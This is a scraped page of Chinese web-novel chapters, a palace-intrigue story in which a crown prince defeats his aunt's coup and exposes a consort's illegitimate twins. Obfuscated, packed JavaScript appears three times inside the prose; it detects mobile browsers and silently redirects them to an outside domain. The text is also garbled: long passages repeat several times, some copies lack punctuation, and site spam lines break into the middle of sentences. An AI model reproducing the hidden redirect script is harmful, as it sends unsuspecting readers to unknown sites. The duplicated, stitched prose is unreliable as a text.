裴云澈立即将云清婳护在身后,他低声道:“蛮蛮放心,我也安插了人手,我们必能全身而退。 “嗯……云清婳惊惶的颔首。 御林军拔刀而出,刀架在“裴墨染的脖子上。 “裴墨染的身躯轻颤,他故作镇定:“姑姑这是做什么? 皇后的脸色微变,眼神惊慌,“长公主,这里可是皇宫,在陛下的眼皮子底下拿出兵器,可是死罪…… “此事可跟我无关。裴玉珠勾唇,邪气地抬起眼,看向门口,“这可是你的好哥哥干的,今夜他负责巡逻皇宫,一百个御林军都被他调来保护圣上了。 苏将军穿着铠甲,身材魁梧,握着染血的刀,一脸杀气的从门口走了进来。 门外的御前太监、宫女都被他的人制服。 “哥哥,你疯了吗?皇后瞪圆了眼。 苏将军不敢跟皇后对视,“莫要怪我,我也是为了让灵音的孩子继承大统!云清婳这个毒妇根本不配! 提到苏灵音,皇后眼底的纠结渐渐散去。 她看向“裴墨染,把语气放得温和,“墨染,你不要倔了,就听你姑姑的话吧!刀剑无眼,当心伤了你! “母后,后宫不得干政,你怎敢议储? “裴墨染反问。 皇后不耐的甩袖,“你太固执了!云清婳这个**根本不值得! 云清婳拔高声音,“裴玉珠,你想挟天子以令诸侯,你就这么确定苏灵音腹中的孩子是男胎? 裴玉珠摊手,不甚在意道:“我已做好准备,她腹中必是男胎。 语毕,所有人都意识到了不对。 皇后惊恐地看着她,“何意? 你的朋友正在书荒,快去帮帮他吧 第341章 裴墨染现身,揭晓真相 裴玉珠居高临下地拍拍苏将军的肩膀,“怕什么?我保证苏灵音会成为当朝皇帝的生母就对了!” 皇后、苏将军根本来不及消化这么大的转变。 “裴玉珠,倘若苏灵音生出来的是女孩,你会杀掉,再随便抱养一个男婴是吧?”云清婳虽是问句,但语气无比笃定。 皇后、苏将军这才恍然大悟。 “这怎么可以?”皇后使劲摇头,“裴玉珠,你这是混淆皇室血脉啊!” 苏将军安慰道:“不要听云清婳妖言惑众,挑拨离间!太医看过了,灵音腹中至少有一个男孩,放心吧!” 皇后稍稍松了口气。 可裴云澈却讥诮地笑了,“别高兴得太早,裴玉珠刚才说要让苏灵音的孩子做皇帝。” “什么皇帝?这是什么意思?”皇后脸上血色尽失,她疑惑地看向裴玉珠。 裴玉珠耸肩,“自然是除掉祸患,杀掉裴墨染!毕竟婴儿才最听话,不是吗?!” 皇后的眼中迸发出痛惜,“不——” 她急忙上前,“长公主,墨染是你的侄儿啊!你不能这么做,你这样可对得起陛下?陛下那么信任你……” 裴玉珠看向苏将军,不耐烦道:“苏将军,皇后蠢钝如猪,别让她跟我说话!” “是!” 苏将军拉住皇后,“妹妹,想想苏家!算了吧,墨染本就跟你不亲,何必呢?” 皇后扑簌簌地落下泪来,“墨染,墨染你就服软吧……” 假的裴墨染脸上全是冷汗,他唇瓣颤抖,早就吓得一个字都说不出来。 裴玉珠抬起手掌,“动手吧!” “这种连妻儿都护不住的窝囊废,我看着就烦,活着也没意思!清婳,待我上位,必会好好待你。” “这群贱男人,哪有我好?什么大昭战神?呵呵呵呵……还不是落到我的手上了?!” 云清婳的胃里翻江倒海。 咻—— 一支箭镞射来,穿透了裴玉珠的掌心。 “啊……”裴玉珠发出杀猪一般的惨叫,血流如注。 “谁?谁干的?在养心殿中放冷箭,把乱臣贼子给我拿下!”裴玉珠鬓角的青筋暴起,冷汗涔涔,声音嘶哑。 她看着被射穿的 手掌,疼得眼泪横流。 裴墨染穿着染血的银色铠甲,气势恢宏,带领军队走了进来。 看到他的瞬间,裴玉珠的瞳孔紧缩。 她立即回头看向身后的“裴墨染”,一脸震惊,“怎么会?” “你是谁?你究竟是谁?”裴玉珠的眼珠子都快瞪出来,她气得七窍生烟。 假裴墨染撕掉脸上的**,露出娇俏的真容。 “民女傅蓉。”她挑衅一笑,发出娇柔的声音。 她浑身上下都是塑形而成。 众人目瞪口呆,瞠目结舌。 “哈哈哈哈哈……”裴玉珠仰起脖子,粗声大笑,笑声粗犷,“枉我裴玉珠英明一世,却被一个粗鄙武夫跟一个江湖术士欺骗哈哈哈……” 裴墨染的视线一下子落在云清婳身上。 他们默契地交换了一个眼神。 裴墨染确定了孩子、皇上、太后安好。 他递给副将一个眼神,他们立即将云清婳保护起来。 其他士兵拔剑直指**的御林军、苏将军。 苏将军跟御林军拔刀相对,双方僵持着。 裴玉珠咬着牙,一手拔出了掌心的箭,血飙了她一脸。 她不拘小节地用帕子缠住血淋淋的手掌,哑声道:“好侄子,你长大了!可你以为你姑姑就这点能耐?” “你以为就你会做两手准备?我养的私兵今晚便会抵达京城,冲进皇宫!” “苏将军莫怕!你帮我抵挡一阵,援军很快就到!事成后,苏灵音便会成为当朝太后,你的外孙就是当朝皇帝!” 苏将军被稳住了心神,他犹豫着颔首,“是!” 裴墨染冷嗤,“可惜,你的三万精兵,一万铁骑永远不会来了。” 裴玉珠的眼眸蓦地瞪大。 “你以为本宫消失的半个月在做什么?你的援军早被本宫拦路埋伏,非死即伤。”他悠悠地说出真相。 “你骗人,你……” 咚—— 副将直接从身后扯出一颗血淋淋的人头,凌空丢了过去。 人头咕噜噜地滚到了裴玉珠的脚边。 “老妖妇,这是你的爱将对吧?听说跟你有一腿?”副将痞气的挑眉问。 “……”看 到头颅裴玉珠的脸上像是开了染坊颜色十分精彩。 云清婳更膈应了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16357685|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>裴玉珠居然男女通吃! 裴墨染看向云清婳“蛮蛮莫怕。” 可裴云澈更快一步挡在云清婳的面前。 裴墨染的眼眸如鹰隼般阴狠刺了裴云澈一眼。 “不……”裴玉珠恼羞成怒般一脚踹开头颅“裴墨染你怎么敢的?你这个两面三刀的小人!” 苏将军跟御林军见状都慌了。 裴玉珠很快就调整好了心情她努力镇定下来哽咽道:“苏将军别慌你先护送我离开!皇上已经封我为摄政王苏灵音的孩子必会继承大统!” 苏将军拿刀的手在颤抖心中犹豫不决。 “孩子?呵……”裴墨染蔑笑“苏灵音现在就在不远处的宫殿生产难产血崩!” 苏将军、皇后的眉梢一紧紧张、担忧起来。 “难产又如何?保住孩子就好!苏将军不要被他唬住!你为我卖命我保你苏家百年荣耀!”裴玉珠诱惑着。 裴墨染手腕轻转长剑划出一道利落弧线稳稳归入玄色剑鞘他扬起玩世不恭的笑:“那就要让你们失望了那孩子不是本宫的是苏灵音跟奸夫所生!” 一石激起千层浪。 在场众人皆是一怔目光齐刷刷地聚焦在裴墨染身上满脸写着难以置信的惊愕。 可裴墨染并不觉得羞耻因为他的脸皮足够厚早就做好了心理建设。 “胡言!你怎么能这么污蔑你表妹?灵音素来洁身自好冰清玉洁墨染你还是人吗?”皇后歇斯底里眼神仇恨地像在看敌人。 “我岂会拿自己的孩儿跟脸面说笑?”裴墨染挑眉 说的域名caixs?(请来才小 说 看最新章节 完整章节)混不吝的反问。 皇后即使再蠢可看到他幸灾乐祸的表情也明白了“本宫知道了!你是故意的!裴墨染你居然这么下作地害你表妹你好歹毒啊!你会遭报应的!孽障啊!” “母后冤枉本宫了本宫是男人怎么可能给自己戴绿帽子?苏灵音不洁身自好与本宫何干?裴墨染声色骤厉倒像是真被泼了脏水。 裴玉珠眼珠子一转她道:“苏将军没关系的!滴血认亲根本不准婴儿都长一个样只要没捉奸在床裴墨染没法证明孩子是谁的!” 苏将军像是找到了主心骨“对!太子你能证明吗?孩子都长一个样你不能证明!不能!” 第342章 最后的清算,坏人败北 云清婳不禁蹙眉。 此事的确不好证明! 可裴墨染笑了,“呵……巧了,本宫恰好能证明! 他闪开身,门外,诸葛贤悠闲地摇着羽扇,他将苏夫人带来了。 苏夫人的魂儿像是被抽走,她抱着两个被裹在襁褓中的婴儿,六神无主地走来。 婴儿正哇哇地哭着。 “老爷,怎么办啊……该怎么办啊……她喃喃地念着。 “怎么了?苏将军的声音像是蚊子哼哼,也不知道他自己有没有听见。 皇后担忧地问:“灵音可还好?可是灵音出事了? 苏夫人摇摇头,她哭着缓缓走上前,将两个襁褓摆到皇后、苏将军的面前。“您们看…… 皇后、苏将军低头一看。 “啊……怎么会这样?皇后捂住嘴。 苏将军浑身的血液好像都结冰,他手一软,手中的刀重重地砸到地上。 砰—— 他的眼中积攒着泪水,陷入了深深的颓丧、绝望。 就好像被绑住手脚,投入深海溺毙的犯人。 他双膝一软,砰地跪在地上,“罪臣知错…… “苏将军,苏将军……裴玉珠的眼中充斥着绝望与愤慨。 她不明白为何看了孩子后,苏将军、皇后的态度会陡然松动。 “襁褓里有什么?襁褓里的是什么? 她想知道自己输在哪里! 她怎会输给两个婴儿? 所有人都很疑惑。 云清婳福至心灵,她瞥向裴墨染。 他也太损了。 诸葛贤捋了捋胡子,揭晓答案,“苏侧妃水性杨花,与外男暗通款曲,私通胡人! 最年轻的副将探着脖子凑上前,发出夸张的惊呼,“嗬!苏侧妃真是太不小心了,通奸也就算了,怎么还找了胡人?孩子头发都是红的! 另一个大胡子副将咋舌,“啧啧啧……我汉人怎能跟胡人私通?有辱我大昭血脉! “听说胡人婴儿的眼珠子是蓝色或者绿色,他俩是什么颜色? 冷嘲热讽的声音快要将苏将军、苏夫人淹死。 皇后的脸涨成了猪肝色,她哭得喘不上 气仇恨地看着裴墨染“孽障!孽障!” “原来如此!”裴玉珠磨着后槽牙恶狠狠睨着裴墨染。 若是眼神能**裴墨染早**无数遍。 “大侄子姑姑真是小瞧你了没想到你人长大了心眼也变多了!居然一下子戏耍了这么多人!”她自嘲般扯出抹苦笑眼泪也掉了出来。 就连裴云澈都不由得高看了裴墨染一眼。 裴墨染收起了不羁的表情脸上的线条紧绷严肃道:“姑姑束手就擒吧。” 忽地裴玉珠从袖中掏出一把**朝裴墨染奔去。 她的眼珠子都快瞪出来声音嘶哑状若疯癫“给我死!” 可裴玉珠还未近身就被副将一脚踹开。 “不自量力!” 啊—— 裴玉珠的身子凌空飞出一道弧线她重重砸在茶几上掉到地上呕出了一滩鲜血。 她狼狈地撑起身子她眼底冒出强烈的恨意就像是一条毒蛇只要逮住机会她还是会窜出来咬人。 云清婳很佩服裴玉珠年近六十了却有这么顽强旺盛的生命力。 “怎么想的?一把年纪了还玩刺杀。挑选盟友**还精挑细选了一群蠢货。”裴墨染不留情面的讽刺。 裴玉珠、苏将军、皇后的脸色极其难看。 “够了!” 一个浑厚、沧桑的声音响起。 众人扭头一看屏风后缓缓走出一个佝偻着身子的老人所有人一震。 皇上居然没事……不是说快要油尽灯枯了吗? “参见陛下。”众人跪下。 皇上被御前太监扶了过来他的面容无比憔悴眼皮耷拉着纵使满室烛光也难以点亮她的眸。 “苏爱卿朕待你不薄你居然**?”他失望地问。 苏将军摇摇头一脸悔恨 “哼。”皇上冷嘁“一次不忠百次不用。太子你说呢?” 裴墨染拱手道:“苏家曾有从龙之功苏将军迷途知返也是难能可贵。” 苏将军、苏夫人松了口气。 他话锋一转“但苏灵音伤风败俗与胡人通奸辱 没皇室颜面混淆皇室血脉应该将她游街浸猪笼罪行昭告天下!” “不要啊……”皇后、苏将军使劲摇头。 苏灵音的事倘若暴露苏家不整个苏氏一族将彻底没有颜面在名门望族中立足! 苏氏一族就会彻底没落被人遗忘百年基业毁于一旦! 祖宗留下来的声望不能毁在他们手里。 裴墨染跟皇上交换了一个眼神。 “杀了吧。”皇上疲惫地摆摆手。 “皇上不要啊!”皇后放声大哭。 苏将军、苏夫人使劲磕头“求圣上给苏家体面!” “苏将军与本宫是舅甥此事也不是没有迂回的余地只是……”裴墨染戛然而止。 苏将军像是抓住了最后一根救命稻草他对着裴墨染使劲磕头“微臣日后定为太子殿下马首是瞻生当陨首死当结草!臣自请离京镇守大昭所有的蛮荒之地三年一流转不要兵权。” 裴墨染满意地颔首“父皇苏将军毕竟是儿臣的舅舅儿臣斗胆求您留舅舅一命。” 皇上一脸为难思索片刻还是颔首“苏家的脸面可以留住但苏灵音不行。” “多谢陛下……”苏将军、苏夫人、皇后不敢求情。 云清婳心下了然。 这父子俩一个扮红脸 为的就是让苏将军感念裴墨染的恩情为他所用。 虽然苏将军鲁莽冲动喜欢居功但他打仗的确是一把好手。 这种人若是能好好利用比杀了更好。 这场计谋清除了威胁换来了忠臣挺值! “你们退下吧。”皇上被扶到上首坐下他的视线扫过苏家人。 “是。”皇后几人如蒙大赦悻悻离开。 皇上又看向裴玉珠他眼中有千言万语最终化为失望。 裴玉珠后知后觉发觉自己被骗了。 这是诱敌深入瓮中捉鳖的大计。 她瞬间变脸她跪下挤出几滴眼泪“皇上我知错了是我鬼迷心窍……求您再给我一次机会吧!幼年您每每犯错都是我护在您身前代您受过……” 她絮絮不止地说着往昔。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 没皇室颜面混淆皇室血脉应该将她游街浸猪笼罪行昭告天下!” “不要啊……”皇后、苏将军使劲摇头。 苏灵音的事倘若暴露苏家不整个苏氏一族将彻底没有颜面在名门望族中立足! 苏氏一族就会彻底没落被人遗忘百年基业毁于一旦! 祖宗留下来的声望不能毁在他们手里。 裴墨染跟皇上交换了一个眼神。 “杀了吧。”皇上疲惫地摆摆手。 “皇上不要啊!”皇后放声大哭。 苏将军、苏夫人使劲磕头“求圣上给苏家体面!” “苏将军与本宫是舅甥此事也不是没有迂回的余地只是……”裴墨染戛然而止。 苏将军像是抓住了最后一根救命稻草他对着裴墨染使劲磕头“微臣日后定为太子殿下马首是瞻生当陨首死当结草!臣自请离京镇守大昭所有的蛮荒之地三年一流转不要兵权。” 裴墨染满意地颔首“父皇苏将军毕竟是儿臣的舅舅儿臣斗胆求您留舅舅一命。” 皇上一脸为难思索片刻还是颔首“苏家的脸面可以留住但苏灵音不行。” “多谢陛下……”苏将军、苏夫人、皇后不敢求情。 云清婳心下了然。 这父子俩一个扮红脸一个扮白脸在唱戏呢。 为的就是让苏将军感念裴墨染的恩情为他所用。 虽然苏将军鲁莽冲动喜欢居功但他打仗的确是一把好手。 这种人若是能好好利用比杀了更好。 这场计谋清除了威胁换来了忠臣挺值! “你们退下吧。”皇上被扶到上首坐下他的视线扫过苏家人。 “是。”皇后几人如蒙大赦悻悻离开。 皇上又看向裴玉珠他眼中有千言万语最终化为失望。 裴玉珠后知后觉发觉自己被骗了。 这是诱敌深入瓮中捉鳖的大计。 她瞬间变脸她跪下挤出几滴眼泪“皇上我知错了是我鬼迷心窍……求您再给我一次机会吧!幼年您每每犯错 她絮絮不止地说着往昔。 你的朋友正在书荒,快去帮帮他吧 没皇室颜面,混淆皇室血脉,应该将她游街浸猪笼,罪行昭告天下! “不要啊……皇后、苏将军使劲摇头。 苏灵音的事倘若暴露,苏家,不,整个苏氏一族将彻底没有颜面在名门望族中立足! 苏氏一族就会彻底没落,被人遗忘,百年基业毁于一旦! 祖宗留下来的声望,不能毁在他们手里。 裴墨染跟皇上交换了一个眼神。 “杀了吧。皇上疲惫地摆摆手。 “皇上,不要啊!皇后放声大哭。 苏将军、苏夫人使劲磕头,“求圣上给苏家体面! “苏将军与本宫是舅甥,此事也不是没有迂回的余地,只是……裴墨染戛然而止。 苏将军像是抓住了最后一根救命稻草,他对着裴墨染使劲磕头,“微臣日后定为太子殿下马首是瞻,生当陨首,死当结草!臣自请离京镇守大昭所有的蛮荒之地,三年一流转,不要兵权。 裴墨染满意地颔首,“父皇,苏将军毕竟是儿臣的舅舅,儿臣斗胆,求您留舅舅一命。 皇上一脸为难,思索片刻,还是颔首,“苏家的脸面可以留住,但苏灵音不行。 “多谢陛下……苏将军、苏夫人、皇后不敢求情。 云清婳心下了然。 这父子俩一个扮红脸,一个扮白脸在唱戏呢。 为的就是让苏将军感念裴墨染的恩情,为他所用。 虽然苏将军鲁莽冲动,喜欢居功,但他打仗的确是一把好手。 这种人若是能好好利用,比杀了更好。 这场计谋,清除了威胁,换来了忠臣,挺值! “你们退下吧。 “是。皇后几人如蒙大赦,悻悻离开。 皇上又看向裴玉珠,他眼中有千言万语最终化为失望。 裴玉珠后知后觉发觉自己被骗了。 这是诱敌深入,瓮中捉鳖的大计。 她瞬间变脸,她跪下,挤出几滴眼泪,“皇上,我知错了,是我鬼迷心窍……求您再给我一次机会吧!幼年您每每犯错,都是我护在您身前,代您受过…… 她絮絮不止地说着往昔。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 没皇室颜面,混淆皇室血脉,应该将她游街浸猪笼,罪行昭告天下!” “不要啊……”皇后、苏将军使劲摇头。 苏灵音的事倘若暴露,苏家,不,整个苏氏一族将彻底没有颜面在名门望族中立足! 苏氏一族就会彻底没落,被人遗忘,百年基业毁于一旦! 祖宗留下来的声望,不能毁在他们手里。 裴墨染跟皇上交换了一个眼神。 “杀了吧。”皇上疲惫地摆摆手。 “皇上,不要啊!”皇后放声大哭。 苏将军、苏夫人使劲磕头,“求圣上给苏家体面!” “苏将军与本宫是舅甥,此事也不是没有迂回的余地,只是……”裴墨染戛然而止。 苏将军像是抓住了最后一根救命稻草,他对着裴墨染使劲磕头,“微臣日后定为太子殿下马首是瞻,生当陨首,死当结草!臣自请离京镇守大昭所有的蛮荒之地,三年一流转,不要兵权。” 裴墨染满意地颔首,“父皇,苏将军毕竟是儿臣的舅舅,儿臣斗胆,求您留舅舅一命。” 皇上一脸为难,思索片刻,还是颔首,“苏家的脸面可以留住,但苏灵音不行。” “多谢陛下……”苏将军、苏夫人、皇后不敢求情。 云清婳心下了然。 这父子俩一个扮红脸,一个扮白脸在唱戏呢。 为的就是让苏将军感念裴墨染的恩情,为他所用。 虽然苏将军鲁莽冲动,喜欢居功,但他打仗的确是一把好手。 这种人若是能好好利用,比杀了更好。 这场计谋,清除了威胁,换来了忠臣,挺值! “你们退下吧。”皇上被扶到上首坐下,他的视线扫过苏家人。 “是。”皇后几人如蒙大赦,悻悻离开。 皇上又看向裴玉珠,他眼中有千言万语最终化为失望。 裴玉珠后知后觉发觉自己被骗了。 这是诱敌深入,瓮中捉鳖的大计。 她瞬间变脸,她跪下,挤出几滴眼泪,“皇上,我知错了,是我鬼迷心窍……求您再给我一次机会吧!幼年您每每犯错,都是我护在您身前,代您受过……” 她絮絮不止地说着往昔。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 没皇室颜面,混淆皇室血脉,应该将她游街浸猪笼,罪行昭告天下!” “不要啊……”皇后、苏将军使劲摇头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16357686|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 苏灵音的事倘若暴露,苏家,不,整个苏氏一族将彻底没有颜面在名门望族中立足! 苏氏一族就会彻底没落,被人遗忘,百年基业毁于一旦! 祖宗留下来的声望,不能毁在他们手里。 裴墨染跟皇上交换了一个眼神。 “杀了吧。”皇上疲惫地摆摆手。 “皇上,不要啊!”皇后放声大哭。 苏将军、苏夫人使劲磕头,“求圣上给苏家体面!” “苏将军与本宫是舅甥,此事也不是没有迂回的余地,只是……”裴墨染戛然而止。 苏将军像是抓住了最后一根救命稻草,他对着裴墨染使劲磕头,“微臣日后定为太子殿下马首是瞻,生当陨首,死当结草!臣自请离京镇守大昭所有的蛮荒之地,三年一流转,不要兵权。” 裴墨染满意地颔首,“父皇,苏将军毕竟是儿臣的舅舅,儿臣斗胆,求您留舅舅一命。” 皇上一脸为难,思索片刻,还是颔首,“苏家的脸面可以留住,但苏灵音不行。” “多谢陛下……”苏将军、苏夫人、皇后不敢求情。 云清婳心下了然。 这父子俩一个扮红脸,一个扮白脸在唱戏呢。 为的就是让苏将军感念裴墨染的恩情,为他所用。 虽然苏将军鲁莽冲动,喜欢居功,但他打仗的确是一把好手。 这种人若是能好好利用,比杀了更好。 这场计谋,清除了威胁,换来了忠臣,挺值! “你们退下吧。”皇上被扶到上首坐下,他的视线扫过苏家人。 “是。”皇后几人如蒙大赦,悻悻离开。 皇上又看向裴玉珠,他眼中有千言万语最终化为失望。 裴玉珠后知后觉发觉自己被骗了。 这是诱敌深入,瓮中捉鳖的大计。 她瞬间变脸,她跪下,挤出几滴眼泪,“皇上,我知错了,是我鬼迷心窍……求您再给我一次机会吧!幼年您每每犯错,都是我护在您身前,代您受过……” 她絮絮不止地说着往昔。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 没皇室颜面混淆皇室血脉应该将她游街浸猪笼罪行昭告天下!” “不要啊……”皇后、苏将军使劲摇头。 苏灵音的事倘若暴露苏家不整个苏氏一族将彻底没有颜面在名门望族中立足! 苏氏一族就会彻底没落被人遗忘百年基业毁于一旦! 祖宗留下来的声望不能毁在他们手里。 裴墨染跟皇上交换了一个眼神。 “杀了吧。”皇上疲惫地摆摆手。 “皇上不要啊!”皇后放声大哭。 苏将军、苏夫人使劲磕头“求圣上给苏家体面!” “苏将军与本宫是舅甥此事也不是没有迂回的余地只是……”裴墨染戛然而止。 苏将军像是抓住了最后一根救命稻草他对着裴墨染使劲磕头“微臣日后定为太子殿下马首是瞻生当陨首死当结草!臣自请离京镇守大昭所有的蛮荒之地三年一流转不要兵权。” 裴墨染满意地颔首“父皇苏将军毕竟是儿臣的舅舅儿臣斗胆求您留舅舅一命。” 皇上一脸为难思索片刻还是颔首“苏家的脸面可以留住但苏灵音不行。” “多谢陛下……”苏将军、苏夫人、皇后不敢求情。 云清婳心下了然。 这父子俩一个扮红脸一个扮白脸在唱戏呢。 为的就是让苏将军感念裴墨染的恩情为他所用。 虽然苏将军鲁莽冲动喜欢居功但他打仗的确是一把好手。 这种人若是能好好利用比杀了更好。 这场计谋清除了威胁换来了忠臣挺值! “你们退下吧。”皇上被扶到上首坐下 “是。”皇后几人如蒙大赦悻悻离开。 皇上又看向裴玉珠他眼中有千言万语最终化为失望。 裴玉珠后知后觉发觉自己被骗了。 这是诱敌深入瓮中捉鳖的大计。 她瞬间变脸她跪下挤出几滴眼泪“皇上我知错了是我鬼迷心窍……求您再给我一次机会吧!幼年您每每犯错都是我护在您身前代您受过……” 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若不是裴玉珠离京太久,太不了解裴墨染,或许这一次她不会输得这么惨。 “将裴玉珠贬为庶人,剥去皇姓,从玉碟除名,逐出宫闱。”皇上阖上双眼痛惜地说。 “呜呜呜……”裴玉珠抽噎着。 云清婳叹了口气,她早就劝过裴玉珠,谁让裴玉珠不听劝呢? 一切尘埃落定,宫人清理着养心殿。 不相干的人都退下。 “墨染,你留下。”皇上身上紧绷的弦陡然松了。 他瘫坐在上首,四肢乏力,声音微弱。 裴墨染颔首,“儿臣先送太子妃出去。” 皇上瞥了他一眼,轻嗤:“没出息。” …… 殿外的走廊拐角处,裴墨染一把将云清婳拥入怀中。 “蛮蛮……”他捧着她的脸,带着无尽思念,强势地吻她。 裴墨染啃噬着她柔软的唇瓣,激烈急切,像是恨不得把她拆吞入腹。 他的下巴上长满了青涩的胡渣,把她娇嫩的脸刮得疼,身上也一股子血腥气夹杂着汗味,让她难受不已。 “唔……”云清婳的唇舌都被亲疼了。 她狠狠一咬,一股腥甜味在二人唇齿间弥漫开来。 裴墨染这才松开她,他嗤笑:“你果真是属小狗的……” 啪—— 猝不及防,云清婳扬起胳膊,甩了他一记响亮的耳光。 裴墨染的脸上赫然浮现出红肿的五指印。 这一次,他的右脸上真切地感受到了火辣辣的疼。 她的眼泪像珍珠颗颗坠落下来,“裴墨染,你为何不跟我说?你知道我被禁足的日子有多煎熬吗?你知道我跟孩子受了多大的委屈吗?” “皇后跟苏灵音抢夺孩子 ,你却不站在我这边,我的心好像都被撕裂了!长公主对我欲行不轨,你也不在,多亏了贤王救我,否则我清白不保……” “为什么我需要你的时候,你总是不在?为什么你不跟我说实话?你、你……” 云清婳哭得太伤心,再加上不停地说话,一时之间竟喘不上气。 她扶着廊柱,弯着腰大口大口喘着气。 裴墨染连忙拍抚她的背,“蛮蛮,不要气坏了身子,都是我的错,我就是个混账!此事关系重大,我怕跟你说后,你会露馅。” 他压低声音道:“为了一举击败裴玉珠,为了守住储君之位,我不敢冒一点风险,蛮蛮能理解我对吗?” “而且我知道你会认出那不是我,毕竟我们心意相通,我当初能识破江湖术士,你必定也能。” “我承认我不是一个称职的好夫君,对孩子也颇有亏欠,你们需要我的时候,我永远不在身边。但以后不会了,真的不会了,这是最后一次。” “这些日子的牺牲,是为了我们的以后,你是皇后,承基是太子!” 云清婳已经缓过劲儿来,方才她又哭又气,一时之间呼吸不上来,险些气晕。 方才的指责她是动了五分真情的,因为她真被气到了。 狗男人,离京了也不告诉她。 一走就是半个多月! 害他们母子三人受欺负! 她捂住他的唇,“别胡说,还在养心殿呢。” “蛮蛮,这些日子你受的委屈我都知道,乾风每日都会给我通信,我心如火煎,恨不能飞回你身边。”裴墨染攥着她的双臂,目光灼**盯着她,“陈如燕也是我派去保护你的。” 云清婳气归气,但也理解他。 皇位唾手可得,绝不能出一丝一毫的差错。 换做是她,也会做出同样的选择。 “裴墨染,这是最后一次,以后不能再瞒我了。” 她伸出双臂,勾住他的脖子,双眼倒映出粼粼的水光,看起来楚楚可怜,惹人怜惜。 “那一日,皇后跟苏灵音争夺孩子,假的你却默不作声,我的心好像都**。虽然后来知道那不是你,可我还是很失望。” “我本来都想好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367013|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,等这件事结束,我就与你和离,可看到 你的那一刻,我还是心软了。” 听到‘和离’二字,裴墨染的心痛如绞,他哑声道:“都是我的错!我不该让你面对这么多!蛮蛮,我们千万不能和离!” “日后再有隐瞒,我真的会离开,别以为我真的稀罕你说的东西!”她踮起脚,在他唇瓣上狠咬一口,把他的唇瓣咬破才罢休。 裴墨染知道她在发泄怒火,尽管疼,也不敢动。 过了一会儿,她放过他,“行了,皇上还有要事要交代夫君,别耽搁了。” 她轻推他的肩膀。 他的眼神倏地阴鸷,“苏灵音才生产完,还在不远处的偏殿,不可以报复了,希望蛮蛮能解气。” 云清婳的眸子登时亮了。 算狗男人识相,苏灵音该下线了! …… 偏殿。 苏灵音身下的血不停地流,产婆又止血又喂她吃人参吊命也没用。 她浑身是汗,满室的血腥味挤进她的鼻腔,让她恶心透顶却无可奈何。 她似乎能感受到生命的流逝,困乏得睁不开眼。 “我是不是血崩了?”苏灵音的眼角悄然滑下一滴泪,无声地滚落脸颊。 产婆连声叹气,不敢说出实情。 可苏灵音了然于胸,她双手攥着床单,满心不甘。 “我的孩子都是男胎对不对?双胎在大昭可是吉兆,虽然不是龙凤胎,但想必皇上、太子都会高兴。”她缓缓地说着。 说全网首发无弹窗免费阅读caixs?(请来才小 说 看最新章节 完整章节) 因为害怕苏灵音崩溃,加重难产,所以苏夫人不准产婆将真相说出来。 她还沉浸在美好的幻想中。 产婆垂下脑袋,不敢回应。 “娘什么时候把孩子抱回来?我还没看看他们呢,希望一个像我,一个像殿下。” “即使我有虞也不怕,这是我跟殿下天地中的连接,是感情的象征。姑母定会帮我的孩子当上皇太孙!”她的眉眼柔和,慈母的光辉笼罩着她。 云清婳走进产房,她啪啪鼓掌,“好一个慈母!” 第344章 他的天终于亮了 苏灵音的脸色骤变“你怎么来了?我已经这样了你很高兴吧?但是我也有双胎了还是两个男丁可比你生的赔钱货强! 我为殿下做出的贡献比你的大!殿下就算嘴上不说心里也会感激我!” “呵呵……”云清婳被她的自信给逗笑了“你要不要看看你的贡献?生产完毕后还没看过孩子吧?” 她轻扬下巴。 产婆将孩子放到苏灵音的身边苏灵音看到孩子的长相时眉眼一跳身下的血流喷涌。 “这、这不是我的孩子!这不是……”她攒足了劲儿高喊了一声随后更是虚弱。 “骗人骗人……” “云清婳你把我的孩子藏哪儿了?殿下若是知道是不会放过你的。” 苏灵音边说边流泪。 云清婳双手交叠于身前目光淡漠地投向她“苏灵音你还要自欺欺人到什么时候?正如你说的我哪敢对皇嗣下手?他们就是你生的!” “不……”苏灵音的眼泪模糊了双眼。 房中的血腥味越来越浓被褥透出血色血晕扩散变大。 产婆是苏家人她艰难地开口:“苏侧妃这是真的!这两个孩子真的是你所出啊。” 苏灵音上气不接下气地啜泣“骗人……我的孩子怎会是红色胎发……” “因为他们是胡人跟你生的啊你不妨回忆一下跟你行房的人真的是殿下吗?”云清婳狠心地揭晓真相“殿下怎会让苏家人怀他的孩子 苏灵音想哭想咆哮。 可再也没了气力。 